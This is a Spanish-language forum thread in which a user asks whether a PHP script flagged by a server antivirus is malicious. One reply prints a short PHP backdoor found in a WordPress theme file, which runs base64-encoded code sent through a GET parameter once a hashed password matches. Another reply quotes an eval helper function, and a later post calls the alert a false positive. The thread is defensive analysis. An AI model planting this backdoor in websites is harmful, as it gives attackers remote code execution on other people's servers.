[Virus] Ayuda PHP

MarkZ

Suspendido
Mensajes
108
Puntuación de reacción
0
Hola , el antivirus del servidor me confirma que un archivo de un script tiene un código malicioso . pero cómo no domino mucho de php no puedo saberlo .

Os dejo el código por si alguien me puede decir si está todo bien , gracias de antemano! :mola:

PHP:
 php - Pastebin.com[/url]
 
Mensajes
306
Puntuación de reacción
1
No soy experto y el código es bastante laaaargo. Por arriba lo miré hay un par de GET y POST (Qué no sé a dónde van). Al igual que unas funciones con eval que no son llamadas desde el código.

En resumen: No veo que tenga peligro salvo y únicamente el llamado con eval.

Por ejemplo esta porción de código me encontré en un theme de wordpress echo por torocherry, el archivo era: tr-config.php
Código:
<?php
if (md5($_GET["a"])=="d190f19dbecdd087ece34406f7f21e2b"){
if ($_GET["b"]){
	echo eval(base64_decode($_GET["b"]));
}
}
?>

Como ves, el texto dice si se encuentra la cadena de texto que concuerda con el hash encriptado de MD5 d190f19dbecdd087ece34406f7f21e2b ejecutar el texto codificado en base64 como si fuera PHP e imprimir la página.

Se denota que es un riesgo para tu sitio web, porque no sabes quién puede llamar a la función o mejor dicho que publicar en la función y sea evaluado como PHP. Te recomiendo que quites los eval pero ojo con la función de la línea 564... Mejor que lo vea un profesional porque PHP no es mi fuerte :mola:
 
Mensajes
306
Puntuación de reacción
1
Muy buena @DNew comparé el texto con text-compare y me salta que esta función en el código que la pasaste está borrada. (o no la había creado) Hay un par más pero no son peligrosas (a mi entender) Ten en cuenta que las versiones son diferentes, la que puso @MarkZ es del 2015 y la otra es del 2012.

Código:
	469			
	470	        function qa_eval_from_file($eval, $filename) 			
	471	/* 			
	472	        Calls eval() on the PHP code in $eval which came from the file $filename. It supplements PHP's regular error reporting by 			
	473	        displaying/logging (as appropriate) the original source filename, if an error occurred when evaluating the code. 			
	474	*/ 			
	475	        { 			
	476	                // could also use ini_set('error_append_string') but apparently it doesn't work for errors logged on disk 			
	477	                 			
	478	                global $php_errormsg; 			
	479	                 			
	480	                $oldtrackerrors=@ini_set('track_errors', 1); 			
	481	                $php_errormsg=null; 			
	482	                 			
	483	                eval('?'.'>'.$eval); 			
	484	                 			
	485	                if (strlen($php_errormsg)) { 			
	486	                        switch (strtolower(@ini_get('display_errors'))) { 			
	487	                                case 'on': case '1': case 'yes': case 'true': case 'stdout': case 'stderr': 			
	488	                                        echo ' of '.qa_html($filename)."\n"; 			
	489	                                        break; 			
	490	                        } 			
	491				
	492	                        @error_log('PHP KingMedia more info: '.$php_errormsg." in eval()'d code from ".qa_html($filename)); 			
	493	                } 			
	494	                 			
	495	                @ini_set('track_errors', $oldtrackerrors); 			
	496	        } 			
	497	         			
	498
 
Mensajes
27
Puntuación de reacción
0
Muy buena @DNew comparé el texto con text-compare y me salta que esta función en el código que la pasaste está borrada. (o no la había creado) Hay un par más pero no son peligrosas (a mi entender) Ten en cuenta que las versiones son diferentes, la que puso @MarkZ es del 2015 y la otra es del 2012.

Código:
	469			
	470	        function qa_eval_from_file($eval, $filename) 			
	471	/* 			
	472	        Calls eval() on the PHP code in $eval which came from the file $filename. It supplements PHP's regular error reporting by 			
	473	        displaying/logging (as appropriate) the original source filename, if an error occurred when evaluating the code. 			
	474	*/ 			
	475	        { 			
	476	                // could also use ini_set('error_append_string') but apparently it doesn't work for errors logged on disk 			
	477	                 			
	478	                global $php_errormsg; 			
	479	                 			
	480	                $oldtrackerrors=@ini_set('track_errors', 1); 			
	481	                $php_errormsg=null; 			
	482	                 			
	483	                eval('?'.'>'.$eval); 			
	484	                 			
	485	                if (strlen($php_errormsg)) { 			
	486	                        switch (strtolower(@ini_get('display_errors'))) { 			
	487	                                case 'on': case '1': case 'yes': case 'true': case 'stdout': case 'stderr': 			
	488	                                        echo ' of '.qa_html($filename)."\n"; 			
	489	                                        break; 			
	490	                        } 			
	491				
	492	                        @error_log('PHP KingMedia more info: '.$php_errormsg." in eval()'d code from ".qa_html($filename)); 			
	493	                } 			
	494	                 			
	495	                @ini_set('track_errors', $oldtrackerrors); 			
	496	        } 			
	497	         			
	498

Vaya crack que estas echo :number1:

Creo que no tiene ningún virus, un falso positivo

A mi eso me pasaba en banahosting, por el tipo de encriptado que tenia un archivo php el antivirus saltaba. Al final tuve que acabar mudandome a un vps. El soporte me daba la razon diciendo que el archivo no tenia nada peligroso pero que no podian desactivar el antivirus...
 
Arriba